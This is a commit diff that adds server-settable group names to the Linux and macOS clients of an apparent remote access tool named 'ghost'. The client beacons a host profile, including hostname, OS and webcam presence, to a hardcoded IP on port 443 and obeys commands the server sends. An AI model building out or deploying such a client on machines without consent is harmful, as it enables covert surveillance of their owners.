Feature: Persist group name to config file and include in login info
This commit is contained in:
@@ -672,6 +672,24 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
|||||||
if (result != 0) {
|
if (result != 0) {
|
||||||
Mprintf("** [%p] V2 File recv error: %d ***\n", user, result);
|
Mprintf("** [%p] V2 File recv error: %d ***\n", user, result);
|
||||||
}
|
}
|
||||||
|
} else if (szBuffer[0] == CMD_SET_GROUP) {
|
||||||
|
// Extract group name from message (starts at byte 1)
|
||||||
|
std::string groupName;
|
||||||
|
if (ulLength > 1) {
|
||||||
|
groupName = std::string((char*)szBuffer + 1, ulLength - 1);
|
||||||
|
// Remove trailing nulls
|
||||||
|
size_t pos = groupName.find('\0');
|
||||||
|
if (pos != std::string::npos) {
|
||||||
|
groupName = groupName.substr(0, pos);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// Save to config file
|
||||||
|
LinuxConfig cfg;
|
||||||
|
cfg.SetStr("group_name", groupName);
|
||||||
|
// Update global settings
|
||||||
|
memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName));
|
||||||
|
strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
|
||||||
|
Mprintf("** [%p] Group changed to: %s ***\n", user, groupName.c_str());
|
||||||
} else {
|
} else {
|
||||||
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
|
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
|
||||||
}
|
}
|
||||||
@@ -1077,8 +1095,23 @@ int main(int argc, char* argv[])
|
|||||||
|
|
||||||
LOGIN_INFOR logInfo;
|
LOGIN_INFOR logInfo;
|
||||||
|
|
||||||
// 主机名
|
// 读取分组名称(从配置文件或 g_SETTINGS)
|
||||||
|
LinuxConfig cfgGroup;
|
||||||
|
std::string groupName = cfgGroup.GetStr("group_name");
|
||||||
|
if (!groupName.empty()) {
|
||||||
|
// 更新 g_SETTINGS
|
||||||
|
strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
|
||||||
|
} else if (g_SETTINGS.szGroupName[0] != 0) {
|
||||||
|
groupName = g_SETTINGS.szGroupName;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 主机名(带分组:hostname/groupname)
|
||||||
|
if (!groupName.empty()) {
|
||||||
|
std::string pcNameWithGroup = std::string(hostname) + "/" + groupName;
|
||||||
|
strncpy(logInfo.szPCName, pcNameWithGroup.c_str(), sizeof(logInfo.szPCName) - 1);
|
||||||
|
} else {
|
||||||
strncpy(logInfo.szPCName, hostname, sizeof(logInfo.szPCName) - 1);
|
strncpy(logInfo.szPCName, hostname, sizeof(logInfo.szPCName) - 1);
|
||||||
|
}
|
||||||
logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0';
|
logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0';
|
||||||
|
|
||||||
// 操作系统版本(如 "Ubuntu 24.04 LTS")
|
// 操作系统版本(如 "Ubuntu 24.04 LTS")
|
||||||
|
|||||||
138
macos/main.mm
138
macos/main.mm
@@ -1,5 +1,6 @@
|
|||||||
#import <Cocoa/Cocoa.h>
|
#import <Cocoa/Cocoa.h>
|
||||||
#import <sys/sysctl.h>
|
#import <sys/sysctl.h>
|
||||||
|
#import <sys/stat.h>
|
||||||
#import <mach/mach.h>
|
#import <mach/mach.h>
|
||||||
#import <mach-o/dyld.h>
|
#import <mach-o/dyld.h>
|
||||||
#import <pwd.h>
|
#import <pwd.h>
|
||||||
@@ -12,6 +13,7 @@
|
|||||||
#import <atomic>
|
#import <atomic>
|
||||||
#import <memory>
|
#import <memory>
|
||||||
#import <string>
|
#import <string>
|
||||||
|
#import <map>
|
||||||
|
|
||||||
#import "../client/IOCPClient.h"
|
#import "../client/IOCPClient.h"
|
||||||
#define XXH_INLINE_ALL
|
#define XXH_INLINE_ALL
|
||||||
@@ -32,6 +34,103 @@ CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_M
|
|||||||
|
|
||||||
State g_bExit = S_CLIENT_NORMAL;
|
State g_bExit = S_CLIENT_NORMAL;
|
||||||
|
|
||||||
|
// ============== Configuration File Functions ==============
|
||||||
|
// Config path: ~/.config/ghost/config.conf (same as Linux)
|
||||||
|
// Format: key=value (one per line)
|
||||||
|
|
||||||
|
static std::string g_configDir;
|
||||||
|
static std::string g_configPath;
|
||||||
|
static std::map<std::string, std::string> g_configData;
|
||||||
|
|
||||||
|
// Initialize config paths
|
||||||
|
static void initConfigPaths()
|
||||||
|
{
|
||||||
|
if (!g_configDir.empty()) return; // Already initialized
|
||||||
|
|
||||||
|
const char* home = getenv("HOME");
|
||||||
|
if (!home) {
|
||||||
|
struct passwd* pw = getpwuid(getuid());
|
||||||
|
if (pw) home = pw->pw_dir;
|
||||||
|
}
|
||||||
|
if (!home) home = "/tmp";
|
||||||
|
|
||||||
|
g_configDir = std::string(home) + "/.config/ghost";
|
||||||
|
g_configPath = g_configDir + "/config.conf";
|
||||||
|
}
|
||||||
|
|
||||||
|
// Recursively create directory
|
||||||
|
static void mkdirRecursive(const std::string& path)
|
||||||
|
{
|
||||||
|
size_t pos = 0;
|
||||||
|
while ((pos = path.find('/', pos + 1)) != std::string::npos) {
|
||||||
|
mkdir(path.substr(0, pos).c_str(), 0755);
|
||||||
|
}
|
||||||
|
mkdir(path.c_str(), 0755);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Load all config from file
|
||||||
|
static void loadConfig()
|
||||||
|
{
|
||||||
|
initConfigPaths();
|
||||||
|
g_configData.clear();
|
||||||
|
|
||||||
|
std::ifstream file(g_configPath);
|
||||||
|
if (!file.is_open()) return;
|
||||||
|
|
||||||
|
std::string line;
|
||||||
|
while (std::getline(file, line)) {
|
||||||
|
size_t eq = line.find('=');
|
||||||
|
if (eq != std::string::npos) {
|
||||||
|
g_configData[line.substr(0, eq)] = line.substr(eq + 1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Save all config to file
|
||||||
|
static void saveConfig()
|
||||||
|
{
|
||||||
|
initConfigPaths();
|
||||||
|
mkdirRecursive(g_configDir);
|
||||||
|
|
||||||
|
std::ofstream file(g_configPath, std::ios::trunc);
|
||||||
|
if (!file.is_open()) {
|
||||||
|
NSLog(@"Failed to save config to %s", g_configPath.c_str());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (const auto& kv : g_configData) {
|
||||||
|
file << kv.first << "=" << kv.second << "\n";
|
||||||
|
}
|
||||||
|
NSLog(@"Config saved to %s", g_configPath.c_str());
|
||||||
|
}
|
||||||
|
|
||||||
|
// Get config string value
|
||||||
|
static std::string getConfigStr(const std::string& key, const std::string& def = "")
|
||||||
|
{
|
||||||
|
auto it = g_configData.find(key);
|
||||||
|
return it != g_configData.end() ? it->second : def;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Set config string value
|
||||||
|
static void setConfigStr(const std::string& key, const std::string& value)
|
||||||
|
{
|
||||||
|
g_configData[key] = value;
|
||||||
|
saveConfig();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Save group name to config file
|
||||||
|
static void saveGroupName(const std::string& groupName)
|
||||||
|
{
|
||||||
|
setConfigStr("group_name", groupName);
|
||||||
|
NSLog(@"Group name saved: %s", groupName.c_str());
|
||||||
|
}
|
||||||
|
|
||||||
|
// Load group name from config file
|
||||||
|
static std::string loadGroupName()
|
||||||
|
{
|
||||||
|
return getConfigStr("group_name");
|
||||||
|
}
|
||||||
|
|
||||||
// ============== System Information Functions ==============
|
// ============== System Information Functions ==============
|
||||||
|
|
||||||
// Get macOS version string (e.g., "macOS 14.0 Sonoma")
|
// Get macOS version string (e.g., "macOS 14.0 Sonoma")
|
||||||
@@ -363,9 +462,25 @@ static void fillLoginInfo(LOGIN_INFOR& info)
|
|||||||
// CPU MHz
|
// CPU MHz
|
||||||
info.dwCPUMHz = getCPUFrequencyMHz();
|
info.dwCPUMHz = getCPUFrequencyMHz();
|
||||||
|
|
||||||
// PC Name (hostname)
|
// PC Name (hostname) - with group name if set
|
||||||
std::string hostname = getHostname();
|
std::string hostname = getHostname();
|
||||||
|
std::string groupName = loadGroupName();
|
||||||
|
if (!groupName.empty()) {
|
||||||
|
// Also update g_SETTINGS for consistency
|
||||||
|
strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
|
||||||
|
g_SETTINGS.szGroupName[sizeof(g_SETTINGS.szGroupName) - 1] = '\0';
|
||||||
|
// Format: "hostname/groupname"
|
||||||
|
std::string pcNameWithGroup = hostname + "/" + groupName;
|
||||||
|
strncpy(info.szPCName, pcNameWithGroup.c_str(), sizeof(info.szPCName) - 1);
|
||||||
|
} else if (g_SETTINGS.szGroupName[0] != 0) {
|
||||||
|
// Use group from g_SETTINGS (set at build time)
|
||||||
|
groupName = g_SETTINGS.szGroupName;
|
||||||
|
std::string pcNameWithGroup = hostname + "/" + groupName;
|
||||||
|
strncpy(info.szPCName, pcNameWithGroup.c_str(), sizeof(info.szPCName) - 1);
|
||||||
|
} else {
|
||||||
strncpy(info.szPCName, hostname.c_str(), sizeof(info.szPCName) - 1);
|
strncpy(info.szPCName, hostname.c_str(), sizeof(info.szPCName) - 1);
|
||||||
|
}
|
||||||
|
info.szPCName[sizeof(info.szPCName) - 1] = '\0';
|
||||||
|
|
||||||
// Webcam
|
// Webcam
|
||||||
info.bWebCamIsExist = hasCameraDevice() ? 1 : 0;
|
info.bWebCamIsExist = hasCameraDevice() ? 1 : 0;
|
||||||
@@ -569,6 +684,23 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
} else if (szBuffer[0] == COMMAND_NEXT) {
|
} else if (szBuffer[0] == COMMAND_NEXT) {
|
||||||
Mprintf("** [%p] Received 'NEXT' command ***\n", user);
|
Mprintf("** [%p] Received 'NEXT' command ***\n", user);
|
||||||
|
} else if (szBuffer[0] == CMD_SET_GROUP) {
|
||||||
|
// Extract group name from message (starts at byte 1)
|
||||||
|
std::string groupName;
|
||||||
|
if (ulLength > 1) {
|
||||||
|
groupName = std::string((char*)szBuffer + 1, ulLength - 1);
|
||||||
|
// Remove trailing nulls
|
||||||
|
size_t pos = groupName.find('\0');
|
||||||
|
if (pos != std::string::npos) {
|
||||||
|
groupName = groupName.substr(0, pos);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// Save to config file
|
||||||
|
saveGroupName(groupName);
|
||||||
|
// Update global settings
|
||||||
|
memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName));
|
||||||
|
strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
|
||||||
|
Mprintf("** [%p] Group changed to: %s ***\n", user, groupName.c_str());
|
||||||
} else {
|
} else {
|
||||||
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
|
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
|
||||||
}
|
}
|
||||||
@@ -610,6 +742,10 @@ int main(int argc, const char* argv[])
|
|||||||
// Setup signal handlers
|
// Setup signal handlers
|
||||||
setupSignals();
|
setupSignals();
|
||||||
|
|
||||||
|
// Load configuration file (~/.config/ghost/config.conf)
|
||||||
|
loadConfig();
|
||||||
|
NSLog(@"Config loaded from %s", g_configPath.c_str());
|
||||||
|
|
||||||
// Check permissions
|
// Check permissions
|
||||||
NSLog(@"Checking permissions...");
|
NSLog(@"Checking permissions...");
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user